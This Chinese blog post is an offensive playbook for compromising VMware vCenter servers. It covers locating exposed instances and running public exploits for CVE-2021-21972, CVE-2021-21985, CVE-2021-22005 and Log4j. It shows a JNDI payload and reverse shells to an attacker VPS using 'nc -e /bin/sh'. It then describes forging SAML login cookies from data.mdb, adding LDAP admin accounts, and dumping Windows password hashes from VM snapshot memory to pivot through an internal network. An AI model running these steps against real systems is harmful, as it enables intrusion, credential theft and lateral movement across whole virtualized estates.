实战分享 | VMware vCenter漏洞实战利用总结

VSole2022-12-15 10:45:53

前言

Vcenter一般指VMware vCenter Server,其提供了一个可伸缩、可扩展的平台,为虚拟化管理奠定了基础,可集中管理VMware vSphere环境,与其他管理平台相比,极大地提高了IT管理员对虚拟环境的控制,Vcenter可以使管理员从一个位置深入了解虚拟基础架构的集群、主机、虚拟机、存储、客户操作系统和其他关键组件等所有信息。

利用思路

  • Vcenter利用点非常多,获取权限之后危害较大,并且web特征明显,内网中很容易被发现。
  • 发现之后,查看Vcenter版本信息,确定存在的漏洞,通过漏洞获取webshell。
  • 测试权限,如果权限为root,进行伪造cookie或者创建用户操作获取web权限,进入vCenter后台获取更多机器的权限,尽可能的滚雪球扩大战果,如果权限为vsphere-ui,则查看版本是否存在条件提权,存在条件提权就提权到root权限,重复root权限操作。如果不存在条件提权,就尽可能的从当前机器中记录数据,以此机器作为跳板机进行内网漫游。

实战思路

  • 为什么要打Vcenter

Vcenter人送外号小域控,Vcenter拿下之后,不单单只是获取一台服务器的权限【因为Vcenter的管理端中必然会有其他的虚拟机存在】,拿下Vcenter的价值不亚于域控的价值。

  • 怎么寻找公网的Vcenter

通过搜索语法查找公网Vcenter服务器,一般Vcenter开放的端口为5480,此外,使用工具获取网页title时,也可以发现Vcenter服务器。

title="+ ID_VC_Welcome +"
  • 打下Vcenter之后应该做什么

内网三要素,我是谁?我在哪?我要去哪?接下来就是翻找数据,伪造cookie或者创建用户操作获取web权限,获取windows机器的hash,或者直接进入虚拟机进行信息搜集,做专属的密码本,一些相关的敏感数据也是加分项,以便于后期的内网渗透,信息搜集做的好,漏洞绝对跑不了。

查看Vcenter版本

/sdk/vimServiceVersions.xml

漏洞利用

·Nuclei

工具介绍

Nuclei是一个快速的、基于模板的漏洞扫描程序,专注于广泛的可配置性、大规模的可扩展性和易用性,方便利用模板快速定位漏洞。

项目地址

https://github.com/projectdiscovery/nuclei

·CVE-2021-21972

使用脚本

https://github.com/NS-Sp4ce/CVE-2021-21972

命令

python cve-2021-21972.py -url

影响版本

VMware vCenter Server 7.0系列 < 7.0.U1c

VMware vCenter Server 6.7系列 < 6.7.U3l

VMware vCenter Server 6.5系列 < 6.5 U3n

VMware ESXi 7.0系列 < ESXi70U1c-17325551

VMware ESXi 6.7系列 < ESXi670-202102401-SG

VMware ESXi 6.5系列 < ESXi650-202102101-SG

攻击脚本至少需要写120次,寻找真实的绝对路径,受网络问题影响较大,如果写入成功,就会直接回显shell地址。

确认漏洞

  1. 通过Nuclei获取存在漏洞的网站。
  2. Url中拼接/ui/vropspluginui/rest/services/uploadova,如果页面返回状态码为200、405,则可能存在漏洞。

·CVE-2021-21985

使用脚本

https://github.com/r0ckysec/CVE-2021-21985

命令

VPS

java -jar JNDIInjection-Bypass.jar 1099 <vpsip> <监听port> # 使用脚本生成pyload
nc -lvvp <监听port> # nc接收反弹shell

攻击鸡

python cve-2021-21985_exp.py <target> <rmi://ip/class>

影响版本

VMware vCenter Server 7.0系列 < 7.0.U2b

VMware vCenter Server 6.7系列 < 6.7.U3n

VMware vCenter Server 6.5系列 < 6.5 U3p

VMware Cloud Foundation 4.x 系列 < 4.2.1

VMware Cloud Foundation 4.x 系列 < 3.10.2.1

确认漏洞

nuclei扫描

·CVE-2021-22005

使用脚本

https://github.com/shmilylty/cve-2021-22005-exp

命令

exp.exe -t <target> -s <webshell>

如果不指定-s的话,会上传默认的cmd.jsp,可以指定自己生成的马儿。

影响版本

VMware vCenter Server 7.0

VMware vCenter Server 6.7 Running On Virtual Appliance

VMware Cloud Foundation (vCenter Server) 4.x

VMware Cloud Foundation (vCenter Server) 3.x

确认漏洞

利用nuclei扫描

·Log4j

使用脚本

https://github.com/zzwlpx/JNDIExploit

命令

漏洞成因是Vcenter的SAML路由中,可以通过增加XFF头触发漏洞,把需要执行的命令跟在XFF后面。

SAML路由路径如下:

 /websso/SAML2/SSO/vsphere.local?SAMLRequest=

Payload如下:

${jndi:ldap://exp}

exp的内容需要通过上面给出的脚本JDNI注入工具完成。

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps_ip

查看可执行的命令

java -jar JNDIExploit-1.2-SNAPSHOT.jar -u

利用命令行反弹shell

利用命令行反弹shell的方式有两种,第一种是直接使用工具中自带的/ReverseShell/ip/port,但是这种方式不适合用于Vcenter,虽然可以反弹回shell,但是执行命令无法回显。这里选择使用以下命令反弹shell

nc -e /bin/sh vps_ip port

后续利用

获取web权限

·伪造cookie

使用脚本

https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py

命令

使用脚本时可能会报错,需要提前安装requirements.txt下的库

windows下安装python-ldap的方法:

下载对应python版本的python-ldap(cp310代表的是python3.10的版本)

项目地址

https://www.lfd.uci.edu/~gohlke/pythonlibs/# python-ldap


pip install python_ldap-3.4.0-cp310-cp310-win_amd64.whl

获取data.mdb

windows:C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdb
linux:/storage/db/vmware-vmdir/data.mdb

从目标机器/storage/db/vmware-vmdir/的目录下下载data.mdb。

伪造cookie

目标机器内网ip需要本地可以访问到,否则无法伪造cookie。

python vcenter_saml_login.py -t <目标机器内网ip> -p data.mdb

使用cookie修改工具,修改cookie的值

修改完成之后,点击页面的启动

如果没成功,则代表需要设置hosts指定域名和ip的关系,清除浏览器缓存重新访问。

·LDAP创建管理员

使用脚本

文章

https://3gstudent.github.io/vSphere开发指南5-LDAP

脚本

https://github.com/3gstudent/Homework-of-Python/blob/master/vCenterLDAP_Manage.py

实战

将脚本上传之后,执行命令搜集相关信息,方便后续替换

python update.py
python update.py getadmin
python update.py getuser

根据收集到的信息修改脚本内容

使用下列命令adduser、addadmin


python update.py adduser
python update.py addadmin

登录验证

·获取Vcenter后台windows机器权限

使用脚本

https://www.volatilityfoundation.org/releases

手法

利用伪造cookie或者LDAP创建管理员进入到后台,找到一台处于锁屏界面的windows主机,创建快照。

快照保存在相对应的数据库中,在相对应的数据库中下载vmem和vmsn这两个文件。

利用volatility查看Suggested Profile(s)

默认选择第一个(volatility默认推荐)

volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem imageinfo

列出注册表内容


volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem --profile=Win7SP1x64 hivelist

使用hashdump获取hash值

volatility_2.6_win64_standalone.exe -f server2008R2-Snapshot2.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a000478010

还有一些其他的手法本文未提及,D大的可以自行研究下,提前祝大家周末愉快!

cookielinux脚本
本作品采用《CC 协议》,转载必须注明作者和本文链接
打进内网以后的过程没有继续深入搞,具体原因大家懂的,前期打点,开始的想法是爆破个弱口令的,弱口令爆破一圈没有找到有用的账户
入侵的通用处置流程
在内网渗透中常常会碰到VmwareVcenter,对实战打法以及碰到的坑点做了一些总结,部分内容参考了师傅们提供的宝贵经验,衷心感谢各位师傅!
VMware Inc. 是一家软件公司。它开发了许多产品,尤其是各种云解决方案 。他的云解决方案包括云产品,数据中心产品和桌面产品等。
针对 Acunetix AWVS扫描器开发的批量扫描脚本,支持log4j漏洞、SpringShell、SQL注入、XSS、弱口令等专项,支持联动xray、burp、w13scan等被动批量
linux命令一大堆,都记不住呀!别忙,这里总结常用20个,大家要多多练习!运行它就是列出文件夹里的内容,可能是文件也可能是文件夹。注意:用户可以使用官方提供的和md5sum生成签名信息匹对以此检测文件是否改变。Md5sum没有sha1sum安全,这点我们稍后讨论。可以用来转换和复制文件,大多数时间是用来复制iso文件到一个usb设备中去,所以可以用来制作USB启动器。
能运行的环境包括I/O,权限控制,系统调用,进程管理,内存管理等多项功能都可以归结到上边两点中。需要注意的是,kernel 的crash 通常会引起重启。注意大多数的现代操作系统只使用了 Ring 0 和 Ring 3。
Linux 僵尸网络呈愈演愈烈之势,许多是由脚本小子使用开源工具包(如 Mirai、Gafgyt 源码)创建的,但仍有一半以上是由专业的攻击团伙来运营的。年初,Keksec 因构建 Necro/Freakout 僵尸网络而闻名,但其组建 DDoS 僵尸网络最早可追溯到 2016 年。
如今,许多企业依赖这种道德黑客工具更有力地保护数据免受各种攻击。可以在短短24小时内扫描1000多个Web应用程序。自动检测URL重写规则和自定义404错误页面。可以检查服务器并检测过时版本或特定版本存在的问题。根据上下文确定处理结果的优先级。能够执行字典攻击。可以用于在网络内执行横向移动,以访问受限制的数据。
VSole
网络安全专家